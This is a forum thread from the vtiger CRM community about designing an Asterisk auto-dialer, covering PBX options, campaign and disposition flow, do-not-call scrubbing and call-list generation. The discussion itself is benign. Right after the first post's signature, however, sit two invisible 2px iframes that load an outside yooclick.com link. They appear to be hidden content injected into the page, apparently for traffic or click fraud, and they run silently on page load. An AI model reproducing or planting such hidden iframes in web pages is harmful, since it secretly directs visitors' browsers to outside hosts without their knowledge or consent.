› › › ›

Auto-Dialer

mmbrichmmbrich
edited May 2006 in Feature Requests - 5.0.2 Vote Up0Vote Down
Lets get a discussion going about this.

So far I have an integrated auto-dialer built into 4.2 that I have been testing. It's a pretty nice little system that uses 'custom views' as the campaign and tracks all call dispositions/recordings and displays them in a related list for the entity. You can also create scripts and use custom fields or regular fields to populate the script.

So, I've talked briefly about this with the vtiger folks and they are working on a UI for the dialer in 5.x. Naturally none of this gets considered for inclusion until the feature freeze is lifted and that gives us plenty of time to iron out the details.

Maybe Saint can post his current UI ideas here and users/devels can work with those to create their own mock-ups and we can land on a consensus. I'm no UI expert so this one is open for discussion for sure.

What follows is a complete brain dump, lets get this all sorted out and figure out a nice way to integrate into the new CRM.

Discussion #1:
Asterisk :). This only has about infinity+ configuration possibilities and really gets to be a trick when it comes to support. This also means we have just as many options for implimentation. Some of my favorites are:
1) Support and test against freePBX and asterisk 2.x.
pros:
a) the latest asterisk will support an XML interface to the manager and that means I can throw out the one I wrote for 1.x.
b) easy to support one fully packaged system (fPBX + *) rather than the millions of other configs that a user can set * up for.
c) users get a well thought out PBX+GUI solution that's supported by a commercial company and has built-in features that you can pay lots of dough for in other products.
Cons:
a) It's all HEAD, who knows how stable it is and I haven't tested enough to say. Of course it will stabablize at some point but it may not line up with the vtiger release schedule. Ideally the * setup would freeze and stabalize before the 5.x freeze is lifted. We could also make the dialer project into a forge project but that brings a whole other set of issues with it since I want this to be a very tight integration.

2) Create a config interface for asterisk inside of vtiger.
pros:
a) we control the show and what we want to support
cons:
a) no large community support like freePBX has (freePBX is the new version of AMP BTW).
b) need to support users on how to setup/configure * for deployment. This gets into a whole other set of issues I won't go into here
c) <insert good reason not to start another/absorb a pbx project here>

3) Support astguiclient and vicidial.
pros:
This has many pros but some heavy cons IMHO and is why I didn't deploy this for my 4.x version.
a) Community supported * GUI + auto-dialer.
b) Scales pretty well from my experience
c) Tested, tested, tested. This is currently deployed in call centers and works, the devels have spend considerable time getting this to work like it should I'm sure.
cons:
a) a lot of what I would like to see integrated in vtiger would require this project to almost be absorbed by vtiger because of the deep changes to it. I am very against doing this with a large project like this, it ends up like squirelmail was in 4.x.
b) since it's so heavily used and tested in it's current state it will likely take a long time to move it to * HEAD. This is a pro also but since we are working in a alpha state with vtiger I put it as a con.
c) ugly. I know, I know, it's very functional but it won't look pretty with vtiger at all. I haven't looked into the vicidial CSS so I could be totally wrong too. I did have some beta clients who complained about the look/feel and ease of use though.
d) leaks memory in IE. Not really their fault, very hard to hunt down but so far I've been able to avoid them in my implementation (I used prototype for a nice ajax/dhtml lib and that helps I'm sure).

That brings us to our next discussion #2:
The auto-dialer itself. I touched on many of the pros/cons of integrating vicidial/astguiclient into the system above. Again, a very usefuly system IMHO but I really don't want to absorb an entire project like that, it's a tough thing to maintain. If you have a diff opinion or a detailed knowledge of the system and a clean way to integrate, by all means speak up.
The way I implemented the current system was almost entirely by scratch as far as the auto-dialer is concerened. I used asterisk 1.x and AMP as the core PBX and created a 9XXXX extension for each agent that calls are then forewarded to. This is a simple change and could probably get moved upstream in AMP/fPBX or the community around that project may have better ideas too.
From there I created an XML manager interface using a slightly modified version of the asterisk php mangement interface, a mysql database, some CHAP authentication magic and wrapper scripts to control the whole thing. I built the interface with REST in mind but it's not REST compliant because of the CHAP thing.
This is all glued together with the GUI. When you create a custom view, in the editing area of that view you'll have a "Configure Dialer Campaign" button and you are then walked through the steps to create a script. At the last step a many2many table is setup that maps the custom view to a campaign.
Next the agent clicks on the "call" link next to the custom view in the entity ListView. This brings them to the first not-called record and begins dialing. The agent hears music on hold while the dialing happens and is greeted with a beep and a call when it's connected. They can then change the custom fields to match the answers to the questions, etc that are being asked in the script and when they set the call disposition the fields are saved and the next record begins dialing. They are allowed to stop the dialing at any time with a mouse click, this is for wrap-up time or breaks, etc.
I put some logic into the deamon I wrote to monitor the manager that will automatically set call disposition if the phone isn't answered. Once all records for that campaign no longer have a not-called status, all busy or answering machine dispositions are redialed until all records have a 'final' disposition (sold, not interested, etc).

I shouldn't have been so winded since a picture is worth a thousand words:
<!-- m --><a class="postlink" href="http://fosslabs.com/images/projects/shot2.jpg">http://fosslabs.com/images/projects/shot2.jpg</a><!-- m -->
<!-- m --><a class="postlink" href="http://fosslabs.com/images/projects/shot3.jpg">http://fosslabs.com/images/projects/shot3.jpg</a><!-- m -->
<!-- m --><a class="postlink" href="http://fosslabs.com/images/projects/shot5.jpg">http://fosslabs.com/images/projects/shot5.jpg</a><!-- m -->
<!-- m --><a class="postlink" href="http://fosslabs.com/images/projects/shot6.jpg">http://fosslabs.com/images/projects/shot6.jpg</a><!-- m -->
<!-- m --><a class="postlink" href="http://fosslabs.com/images/projects/shot7.jpg">http://fosslabs.com/images/projects/shot7.jpg</a><!-- m -->

Ok, so after that information overload please ask for clarification anywhere you need, otherwise drop your suggestions and lets start talking about it.

Matt <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 8 Comments sorted by Votes Date Added
  • mmbrichmmbrich
    Vote Up0Vote Down
    can't forget reporting, there are a lot of metrics to track on these types of campaigns. what should we track and where should it be accessable? in the campaign, entity or others?

    matt
  • BrianLaughlinBrianLaughlin
    Vote Up0Vote Down
    how do you manage the call list?

    we approached this in another system by allowing users to construct and save queries and generate a list that could be contacted by any number of agents without calling the same person again. we had to work through bugs that unfortunately irritated our customers with 4 to 5 calls in a roll. <!-- s:-( --><img src="{smilies_path}/icon_sad.gif" alt=":-(" title="sad" /><!-- s:-( -->

    once it was done it worked like a champ. also, in the us there is a huge fine for calling people that have registered their phone number on the do not call register. <!-- m --><a class="postlink" href="https://www.donotcall.gov/default.aspx">https://www.donotcall.gov/default.aspx</a><!-- m -->. scrubing numbers is a common and necessary practice.
  • mmbrichmmbrich
    Vote Up0Vote Down
    basic flow:

    1) load list into campaign table and set disposition to not-called.
    2) agent clicks on "call" and the disposition is immediately set to 'dialing' for the record that loads for them.
    3) either call connects and gets sent to an agent or the call gets a busy or no answer signal/timeout and the disposition is updated accordingly. in the last case the dialer will move to the next number, set the dispo to dialing and start again.
    4) once there are no more records with a not-called dispo, the system tells the agents this and asks them to contact their supervisor. the supervisor can re-load the queue in the custom view area. none of the records with a dnc (do not call), ni (not interested) or sld (sold) status are reset for that campaign.

    dnc list:
    this could be setup in multiple ways. either when the queue is loaded or just before the dialer executes the call. since there is a daemon running on the * box that queues everything and intercepts the manager commands it's very flexible with this type of thing. delays caused by the lookup could be countered with some predicting algos that would preempt the end of the call.
    since dnc is only supposed to apply to 'cold-calls' i figured the accounts and contact entities would be exempt from any calls (prior business relationship right?). the system also won't load the entity if the do-not-call checkbox is checked.

    does that sound like it would get past the issues you encountered? i've run this on a campaign but only a couple agents so it's not heavily tested.


    matt
  • ColinWrightColinWright
    Vote Up0Vote Down
    vtiger has such a diverse following that it is best to create solutions that are not tightly coupled to a specific business flow. creating call lists is important to both b2b and b2c users, however using a predictive dialer is not always the best choice for b2b calls or b2c follow-up calls. a solution that allows list generation for manual or automated dialing will benefit the most users. also, the do not call scrubbing should be an integrated part of vtiger rather than just part of the dialer function. it is always useful to know if someone is on the dnc.

    for the dnc solution, the simplest way is to keep numbers formatted correctly in the database. our previous crm would try to format numbers as 10 digit us numbers by removing any non-numeric characters typed in by the user. if it succeeded then the number was stored in the database as 10 digits. if it failed it was flagged as non-us and would not be pulled on any dialing list. the gui would format the number for easy reading, but the number was always stored in the database as digits only. (i.e. the database would have 9492223333, but on screen the number would display as 949-222-3333). the do not call list comes from the dnc registry in 10 digit format also. this makes it very simple and very fast to index the phone number and then reference it against the do not call list. it can be used to eliminate records when creating a call list or, as our previous crm did, display a flag right on the contact screen showing the number is on the do not call list.

    in past systems i have seen 2 very useful ways to generate lists. 1. create an exclusive list for a predictive dialer. 2. create a non-exclusive list for manual dialing. both can be done using the same method, which give users needed flexibility.

    1: the list is generated using a basic query… take your pick of how to do this.
    2: the list is de-duplicated using user defined fields. most commonly phone number.
    3: place a lock (either exclusive or non-exclusive) on the contact records. this can be done by the record number, phone number and/or other user defined fields. this is an added layer of protection form calling duplicate records.
    4: output the list to either a predictive dialer or for manual dialing

    why do it this way? it allows individual users to create follow-up lists for manual dialing. it allows users to have overlapping lists, while ensuring that no contact is called more than once. it allows more traditional shared lists that will be used for predictive dialing.
  • mmbrichmmbrich
    Vote Up0Vote Down
    great input, thank you!

    i like almost all of these ideas and suggestions, i esp like the idea of storing 10 digit numbers in the db and then formating them as needed.

    your intial suggestion about creating generic solutions is well put and i agree that we have a diverse set of users. the solution i have wrote was mostly wrote with call centers in mind and i find myself in this frame of mind as well. perhaps you can lay out some use cases (and others too) so i can wrap my head around how other people see themselves or have seen others accomplish this.

    thanks again,

    matt
  • mmbrichmmbrich
    Vote Up0Vote Down
    i have decided not to release this functionality for 5.x as of now since it was built with call centers in mind and uses an external service that we provide in order to do the actual dialing. i'll re-visit this issue after 5.x is released and depending on the situation and demand at that time may reconsider de-coupling it from our service and releasing it as a general module.

    matt
  • tahiralmastahiralmas
    Vote Up0Vote Down
    We have recently integerated ICTBroacast autodialer with VtigerCRM and tested as well , following are details
    https://www.ictbroadcast.com/integration_of_ICTBroadcast_autodialer_with_Vtiger_CRM
Sign In or Register to comment.